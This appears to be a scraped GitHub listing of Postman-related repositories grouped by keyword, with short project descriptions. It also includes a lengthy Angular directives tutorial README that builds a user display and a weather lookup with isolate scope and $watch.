Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
AlexNDRmac/postman_asserts
api blueprint, assert, asyncapi, json, json schema, oauth, openid, postman tests, reusable, schema, script, scripts, sql, test, tests, usable, validation 		Tiny scripts for Postman Auto tests (reusable Assertions for postman tests and json schema validation) 0 stars 0 watchers 1 forks
enahomurphy/micro-recipe
developing, mongo, node, recipe, reusable, service, services, test, usable 		test project for developing highly reusable node/mongo services recipe service 0 stars 0 watchers 0 forks

authenticates (3 listings) (Back to Top)

Nasrallah-Adel/weather
auth, authenticate, authenticates, city, display, play, service, user, weather 		Weather service that authenticates a user and displays the temperature of his requested city. 1 stars 1 watchers 0 forks
thenikhilk/jwt-auth-webapi
auth, authenticate, authenticates, case, data, endpoint, endpoints, exposes, query, reviews, util, utility, webapi 		The purpose of this code is to develop the Restaurent API, using Microsoft Web API with (C#),which authenticates and authorizes some requests, exposes OAuth2 endpoints, and returns data about meals and reviews for consumption by the caller. The caller in this case will be Postman, a useful utility for querying API’s. 1 stars 1 watchers 0 forks
gloryer/jsonwebtoken
access, auth, authenticate, authenticates, authentication, back end, client, endpoint, exposes, form, format, http, information, issue, json, jsonwebtoken, registration, resource, send, server, server., source, test, tested, token, user, verify 		A demo back end server exposes user registration endpoint, user authentication endpoint, token endpoint and resource endpoint. The resource endpoint is protected by the JWT token. Only the client who possesses the valid token can access the resource. To get a token from the server, the client must authenticates itself to the server. To request the resource in the server, the client issue an http GET request to the resource endpoint, the server will verify the recieved jwt token. Once the token is valid, the server will send back the user information which indicated in the jwt token. Front-end has not been implemented so far. The back-end is tested using Postman. 0 stars 0 watchers 0 forks

teaching (3 listings) (Back to Top)

benweese/Postman
learn, learning, practicing, teaching 		This is for API Testing practicing, learning, and teaching. 0 stars 0 watchers 0 forks
psistwu/teaching_subversive
teaching 		English-Chinese translation of "Teaching As a Subversive Activity" by Neil Postman 0 stars 0 watchers 0 forks
whuizenga/teaching-postman
development, lesson, teaching 		Teaching a lesson on using Postman for API development. 0 stars 0 watchers 0 forks

recognition (3 listings) (Back to Top)

shijiahu/face-recognition-api
data, database, facial, image, images, recognition, server, sign up, system, test, testing, tool 		- Built a facial recognition system, using React.js as front-end, Node.js and Express.js as back-end server, PostgreSQL as database, Postman as testing tool - Enabling sign up/sign in, recognize face from images features - Deployed the app to Heroku 0 stars 0 watchers 1 forks
shijiahu/face-recognition
data, database, facial, image, images, recognition, server, sign up, system, test, testing, tool 		- Built a facial recognition system, using React.js as front-end, Node.js and Express.js as back-end server, PostgreSQL as database, Postman as testing tool - Enabling sign up/sign in, recognize face from images features - Deployed the app to Heroku 0 stars 0 watchers 0 forks
yurchenko-dmytro-mss/face-recognition-app-endpoint
backend, endpoint, recognition 		face-recognition SPA backend 0 stars 0 watchers 0 forks

meetings (3 listings) (Back to Top)

CiscoDevNet/postman-webex-meetings-xml
collection, meeting, meetings, reference, test, testing, webex 		Webex Meetings XML API - Postman collection for reference and testing 1 stars 1 watchers 1 forks
Ryyk/meetings
meeting, meetings, recordings, service 		Rest service to manage recordings of a meeting 1 stars 1 watchers 0 forks
levensailor/ciscomeetingserver-postman
cisco, collection, meeting, meetings, server 		A Postman collection for Cisco Meeting Server API 0 stars 0 watchers 2 forks

blogs (3 listings) (Back to Top)

prakhar1989/Blogera
blog, blogs, logs 		Postman for your blogs 1 stars 1 watchers 1 forks
Ayushverma8/Alexa.WithPostmanis.fun
blog, blogs, form, format, information, informational, logs, tool, tools 		Contains informational blogs and FOSS tools build with Postman Collections and Alexa 0 stars 0 watchers 0 forks
Raremaa/postmanToApiHtml
blog, blogs, html, http, https, java, logs 		一个基于postman的java小工具，用于将postman导出的v1文档转换为html文档（本人仅负责整合,原创者地址:https://www.cnblogs.com/XiOrang/p/5652875.html,https://www.cnblogs.com/xsnd/p/8708817.html） 0 stars 0 watchers 0 forks

listing (3 listings) (Back to Top)

caren1/RESTful-API
application, article, express, list, listing, mongo, mongoose, single, test, tested 		RESTful application based on Node.js, express.js and mongoose tested with Postman, that allows for adding, listing, deleting and editing all and single articles. 0 stars 0 watchers 0 forks
coffeecupcoding/tprt
coding, list, listing 		The Postman Rings Twice - A greylisting policy daemon for use with Postfix 0 stars 0 watchers 0 forks
sushildangi/omnicuris-technical-assignment-e-commerce
application, assignment, bulk, case, cases, commerce, email, list, listing, mail, operation, operations, order, orders, stock, technical 		1. CRUD operations on items 2. All items listing 3. Single & bulk ordering (Just consider the item, no. of items & email ids as params for ordering) 4. All orders Please consider all the cases like out of stock etc. while making the application. You can also add more features/APIs as suitable for you. 0 stars 0 watchers 0 forks

metro (3 listings) (Back to Top)

lezginaksoy/angular8-metronicAdmin-mockserver
angular, metro, mock, mocks, mockserver, server 		Angular 8,Metronic Theme and Postman MockServer 2 stars 2 watchers 1 forks
cnmetro/shmetro-api
metro 		Shanghai Metro API 0 stars 0 watchers 1 forks
jm-contreras-zz/wmata-postman
metro 		WMATA metro as a Chinese Postman Problem 0 stars 0 watchers 0 forks

in memory (3 listings) (Back to Top)

HamidurRahman1/Project--SpringBootRESTfulWebservicesForAirlineReservationSystem
application, in memory, memory, service, services 		A complete in memory Spring Boot RESTful Webservices application 1 stars 1 watchers 0 forks
InLove4Coding/GameStoreSpring
host, http, in memory, jdbc, local, memory, popular, test 		Game Store - simple project on popular stack :Spring, h2, lombok, Jpa. Данный проект использует in memory db, так что его можете запустить без дампа бд. Запросы пока через postman, примеры в комментариях кода. По http://localhost:8080/h2/ можете поработать с бд через интерфейс. Для захода jdbcUrl -> jdbc:h2:mem:testdb . Далее о.к (юзер по умолчанию sa, без пароля) 0 stars 0 watchers 0 forks
JacquelineRP/SpringBootEssentials_Demo_Studients
backed, data, database, in memory, memory 		Spring Boot, Restful API backed up with an in memory database, Json, Dependency Injection Programming, HTTP Semantics, Get, Post, Delete & Put (Postman) 0 stars 0 watchers 0 forks

employees (3 listings) (Back to Top)

marykayrima/Postman_dummy_testing
dummy, employee, employees, example, http, rest, restapi, test, testing 		http://dummy.restapiexample.com/api/v1/employees 0 stars 0 watchers 0 forks
andreprawira/Simple-REST-API-using-Spring-Boot-Hibernate-and-MySQL-Database
application, data, database, employee, employees, forge, generate, generated, list, method, properties, resource, resources, single, source, spec 		It's a very simple REST API for employee management using Spring Boot, Hibernate, and MySQL. Test it with Postman: Use GET method to list all of the employees or a single employee specified by ID Use POST method to save an employee (ID auto generated) or use a PUT method to update if employee ID already exist (specify the employee ID in the url to update) Use DELETE method to delete an employee (specify the employee ID in the url to delete) Dont forget to change the application.properties to connect the database with the app (located in src/main/resources/application.properties) 0 stars 0 watchers 0 forks
cristina-ferreira/node-express-employees
api blueprint, asyncapi, employee, employees, express, json schema, mysql, node, oauth, openid, sql 		wcs-node-02 node-express sq, mysql, postman 0 stars 0 watchers 0 forks

trial (3 listings) (Back to Top)

ogulcanarbc/postman-api-trial
description, script, trial 		No description available. 0 stars 0 watchers 0 forks
sagarwalAbc/E2E_Postman_Collection
trial 		For trial purpose 0 stars 0 watchers 0 forks
suncor-timeseries-trial/postman_collection_ThingModel
collection, data, series, trial 		This is a Postman collection for Modeling a Sample data set in the SAP Leonardo Thing Model. The Model was based on a subset of data provided. 0 stars 0 watchers 0 forks

protecting (3 listings) (Back to Top)

Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
DivyaDeenan/Node.js-API-JWT-Auth
json, jsonwebtoken, protecting, route, token 		Simple Node.js Authentication API for protecting post route using JWT(jsonwebtoken). Tested using Postman 0 stars 0 watchers 0 forks

credit (3 listings) (Back to Top)

dzvlfi/Rest-API-Random-Forest
class, credit, random, rest 		REST-API for credit scoring with random forest classifier 4 stars 4 watchers 1 forks
arissantos/Postman-Test
credit 		Carbon credits Test 0 stars 0 watchers 0 forks
eliasnogueira/credito-api
credit, test 		Projeto alvo dos testes do livro Testes para uma API com Postman e RestAssured 0 stars 0 watchers 0 forks

signing (3 listings) (Back to Top)

ximik3/postman-signing
automat, automatic, script, secure, signing 		Postman script for automatic secure request signing. 0 stars 0 watchers 1 forks
CallanHP/oci-api-signing-postman-collection
collection, form, implements, require, required, script, scripts, signing 		This Postman collection implements pre-request scripts to perform the signing required to invoke the OCI APIs. 0 stars 0 watchers 0 forks
Natalie-Perez/Products-app
signing 		Designing an API for a Products app with Node.js and MongoDB. 0 stars 0 watchers 0 forks

utilizes (3 listings) (Back to Top)

jonathandavidpollock/FireshouseSubs
application, mongo, purchasing, util, utilizes 		A simple api for purchasing subs from Firehouse. It utilizes full CRUD with mongo. Lastly, we deployed this Node.js application on the LEMP stack. 1 stars 1 watchers 4 forks
command-line-physician/command-line-physician
command, curated, data, database, find, intention, local, rest, spec, store, test, testing, unit, user, users, util, utilizes 		Our intention with this app is to let users find natural herbal based remedies for their ailments. Our app allows users to browse our specially curated herb database by name and latin name. Command-Line Physician also allows users to locate the nearest store where they can find their unique remedy, or a local resident who has the herb available to share. Tech stack: Command-line Physician is a RESTful api that utilizes Node, Express, Jest, end-to-end and unit testing. Our testing was carried out by Compass, Robo 3T, and Postman. 0 stars 0 watchers 4 forks
LennartCockx/postman-generic-json-visualize
beta, display, generic, json, play, script, util, utilizes, visual, visualization 		A script which utilizes the (beta) visualization option from postman to display any json response in a more visual manner 0 stars 0 watchers 0 forks

center (3 listings) (Back to Top)

MayMP/NodeJsExpressMongoDB
center, collection, command, config, configuration, data, database, directory, download, example, folder, host, http, https, import, install, installed, json, local, mongo, mongod, mongodb, named, node, nodejs, posts, unit 		This is a very basic example of (`List All Data`, `Detail By Each Id`, `Create`, `Update`, `Delete`) in Node.js and MongoDB. Running Locally Make sure you have Node.js(`https://nodejs.org/en/`) and the MongoDB for 32-bit(`https://www.mongodb.org/dl/win32/i386`) and for others (`https://www.mongodb.com/download-center/community`) installed. You're gonna need to create a DB named `InterviewDB` and import from the `MongoDB(For Interview)` folder. And please create collection name `posts`. You can adjust the database configuration in `app/config/config.json`. You can run " node app.js " from the project directory in command prompt. You can call url(`localhost:8080`) from your `Postman` or `Restful`. 1 stars 1 watchers 0 forks
iidrees/Events-Manager
application, center, event 		An application that allows Event Centers owners provide centers to event planners who may be looking for a good event center to use for their events 0 stars 0 watchers 0 forks
LeCoderCat/get-started-dna-center-api
center, form 		Example code on how to perform API calls to Cisco DNA Center using Python and Postman. 0 stars 0 watchers 0 forks

bitcoin (3 listings) (Back to Top)

AJK55/postman_mercado
bitcoin, http, https 		https://mercadobitcoin.net/api-doc/ 0 stars 0 watchers 0 forks
GabCostaSilva/postman-bitcoin-tracker
bitcoin, track, tracker 		Bitcoin tracker for Postman 0 stars 0 watchers 0 forks
he77y/Cryptokart-OpenExchange-master
bitcoin, exchange, node 		Implementation of a bitcoin exchange using node and couchbase. (Development Mode) 0 stars 0 watchers 0 forks

relay (3 listings) (Back to Top)

owainlewis/relay
patch, relay, struct, structure, tool, tools 		Relay lets you write HTTP requests as easy to read, structured YAML and dispatch them easily using a CLI. Similar to tools like Postman 24 stars 24 watchers 0 forks
joyghosh/postman
actor, current, email, framework, mail, relay, technologies 		Highly concurrent and queue based email relay sever. JMS and Akka's actors framework are the main technologies used. 1 stars 1 watchers 0 forks
wannaup/postman-go
lang, mail, messaging, microservice, preferred, relay, service, threaded, version 		The Golang version of our preferred postman mail to threaded messaging relay microservice in Go. 1 stars 1 watchers 0 forks

sports (3 listings) (Back to Top)

negate-strk/da-strike-esports-postman
contact, ember, message, sports 		I'm the guy you message when you want to contact a strike esports staff member! 0 stars 0 watchers 0 forks
psn30595/Universal-Ticket-Generation-Service-for-Events
book, booking, cloud, event, form, generation, movie, movies, platform, published, site, sports, ticket, tickets, website 		Developed a ticket booking website which is used to book tickets for the concert, movies and sports events by using various API’s. Created ticket generation API for others and published on the Microsoft Azure cloud platform. Technologies used: C#.NET, Microsoft Azure, Visual Studio 2017, Microsoft SQL Server 2017, Postman. 0 stars 0 watchers 0 forks
WingChhun/Mongo_rest_api
endpoint, play, rest, sports, test 		Example of a REST api for a sports team with players, will test making endpoint requests using POSTMAN. 0 stars 0 watchers 0 forks

elements (3 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. 